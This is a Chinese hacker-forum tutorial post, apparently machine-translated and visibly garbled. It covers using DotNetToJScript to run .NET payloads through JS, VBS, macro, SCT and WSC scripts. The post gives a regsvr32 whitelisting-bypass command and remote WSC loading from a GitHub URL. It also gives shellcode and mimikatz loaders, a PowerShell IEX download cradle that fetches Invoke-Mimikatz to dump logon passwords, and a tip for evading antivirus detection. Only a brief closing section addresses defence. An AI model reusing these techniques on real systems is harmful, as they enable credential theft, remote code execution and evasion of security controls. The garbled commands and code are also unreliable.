跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

使用JS加载网络程序


KaiWn

推荐的帖子

0x00 前言

最近,詹姆斯福肖开发了一个工具DotNetToJScript,它可以加载。Net程序的JS/Vbs脚本。这很有趣。

Casey Smith和Cn33liz都对此做了进一步的研究,并开放了他们的使用代码。

本文将对该技术进行系统梳理,帮助您有更好的了解。

0x01 简介

本文将介绍以下内容:

DotNetToJScript的编译方法

DotNetToJScript的用法

用JS/Vbs执行外壳代码

使用JS/Vbs执行powershell脚本

0x02 DotNetToJScript编译方法

DotNetToJScript下载地址:

https://github.com/tyranid/DotNetToJScript

使用工具VS2012编译。

报错1:

程序集引用NDesk。缺少选项。

解决方法:

您需要添加对NDesk的引用。选择

下载地址:

http://www.ndesk.org/Options

解压,项目-添加引用-浏览-\ n磁盘-选项-0 . 2 . 1 . bin \ n磁盘-选项-0 . 2 . 1 . bin \ lib \ n磁盘-选项\ ndesk.options.dll。

接下来,将目标框架指定为。NET Frameword 2.0并重新编译。

报错2:

缺少程序集引用Linq

解决方法:

添加对System.Core.dll 3.5的引用

位置:

c:\ Program Files \ Reference Assemblies \ Microsoft \ Framework \ v 3.5 \ System。Core.dll

添加引用后,编译成功,DotNetToJScript.exe和ExampleAssembly.dll分别生成在两个目录下。

0x03 DotNetToJScript使用方法

1、生成js脚本

参数如下:

DotNetToJScript.exe-O1 . js ExampleAssembly.dll

执行后,生成1.js

执行1.js,调用ExampleAssembly.dll的公共TestClass()。

如下图

3-1.png

执行过程如下图,弹出一个对话框。

3-2.png

2、生成vbs脚本

参数如下:

DotNetToJScript.exe-l VBScript-o 2 . VBS ExampleAssembly.dll

执行下图

3-3.png

3、生成vba脚本

参数如下:

DotNetToJScript.exe-l VBA-o 2 . txt ExampleAssembly.dll

在office宏中使用。

4、生成sct脚本

参数如下:

DotNetToJScript.exe大学ExampleAssembly.dll分校

启动模式:

命令行参数如下:

regsvr32.exe/u/n/s/I:3 . SCT scrobj.dll

注:

详情请参考之前的文章《Use SCT to Bypass Application Whitelisting Protection》。

5、生成wsc脚本

参数如下:

DotNetToJScript.exe-m-o 4 . WSC ExampleAssembly.dll

启动方式1:本地调用

通过js调用,js脚本内容如下:

GetObject(' script:C:\ \ test \ \ 4 . WSC ');

注:

绝对路径是必需的,wsc文件后缀是任意的。

启动方式2:远程启动

4.将4.wsc保存在github中,地址如下:

https://raw.githubusercontent.com/3gstudent/test/master/4.wsc

Js脚本内容如下:

GetObject(' script:https://raw . githubusercontent . com/3g student/test/master/4 . WSC ')

注:

详情请参考之前的文章《WSC、JSRAT and WMI Backdoor》。

0x04 利用JS/Vbs能够实现的payload汇总

上述测试中的ExampleAssembly.dll可以用其他有效载荷代替:

1、执行shellcode

该代码可以引用以下地址:

https://gist . github . com/subTee/618d 40 aa 4229581925 EB 9025429d 8420 # gist comment-2057305

对于一个新的c#项目,可以选择c#控制台应用程序,将其编译成exe。

生成js脚本的参数如下:

DotNetToJScript.exe-o shell code . js shellcode.exe

测试下图

3-4.png

2、执行mimikatz

该代码可以引用以下地址:

https://gist . github . com/subTee/b 30 e 0 bcc 7645 c 790 fcd 993 CFD 0 ad 622 f

在c#中执行mimikatz的代码可以引用以下地址:

https://gist.github.com/subTee/5c636b8736530fb20c3d

3、执行powershell

该代码可以引用以下地址:

https://github.com/Cn33liz/StarFighters

作者:Cn33liz

StarFighters:

可以加载帝国框架的启动代码。

支持JavaScript和VBScript

Powershell.exe不是必需的,可用于绕过白名单阻止。

通过powershell runspaceenvironment(.网)

powershell代码的执行方式可以参考以下地址的p0wnedShell项目:

https://github.com/Cn33liz/p0wnedShell

我之前在这方面做过一些研究,精简了代码使其支持。net 2.0。地址如下:

https://github.com/3gstudent/Smallp0wnedShell

实际测试:

星际战斗机不仅可以加载帝国框架的启动代码,还可以直接执行powershell命令。

方式如下:

(1)执行powershell单条命令

该命令需要Base64编码,如下所示:

$code='start calc.exe '

$bytes=[System。Text.Encoding]:UNICODE。GetBytes($ code);

$encoded=[System。Convert]:ToBase64String(字节)

$编码

base64代码如下:

cwb 0 ageacgb 0 acaaywbhagwaywauagaeaebaa==

替换StarFighter.js中的var EncodedPayload

成功执行,弹出计算器如下图

4-1.png

(2)本地执行powershell脚本

使用调用-Mimikatz.ps1,下载地址如下:

https://生的。githubusercontent。com/powershell mafia/powers loit/master/ex filiation/Invoke-mimikatz。PS1

添加导口令的操作代码:

invoke-Mimikatz-Command ' log privilege:debug sekurlsa:登录密码'

注:

添加原木参数是为了将结果导出到文件mimikatz.log

命令如下:

$ code=Get-Content-Path Invoke-Mimi Katz。PS1

$bytes=[System .文字。编码]*统一码.GetBytes($ code);

$encoded=[System .Convert]:ToBase64String(字节)

$encoded | Out-File 1.txt

将生成的1.txt中的内容替换星空战士。射流研究…中的定义变量编码有效负载

(3)远程执行powershell脚本

powershell命令如下:

powershell IEX(新对象网络WebClient).下载字符串(' https://raw。githubusercontent。com/powershell mafia/powers loit/master/ex filiation/Invoke-mimikatz。PS1’);invoke-Mimikatz-Command ' log privilege:debug sekurlsa:登录密码' '

作base64的代码如下:

$code=Get-Content -Path code.txt

$bytes=[System .文字。编码]*统一码.GetBytes($ code);

$encoded=[System .Convert]:ToBase64String(字节)

$encoded | Out-File 2.txt

将生成的2.txt中的内容替换星空战士。射流研究…中的定义变量编码有效负载

注:

某杀毒软件默认会查杀该射流研究…脚本,一个绕过静态查杀的思路(不保证有效期):

将脚本保存成美国信息交换标准代码格式,会被查杀

换成采用双字节对字符进行编码格式,不被查杀

0x05 防御

站在防御的角度,大家都会对powerShell.exe作拦截,但是这还远远不够:

powershell runspace environment (.NET)才是重点

具体到本文的技巧,防御方法如下:

分别对js、vbs、vba宏、sct、wsc脚本作限制

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...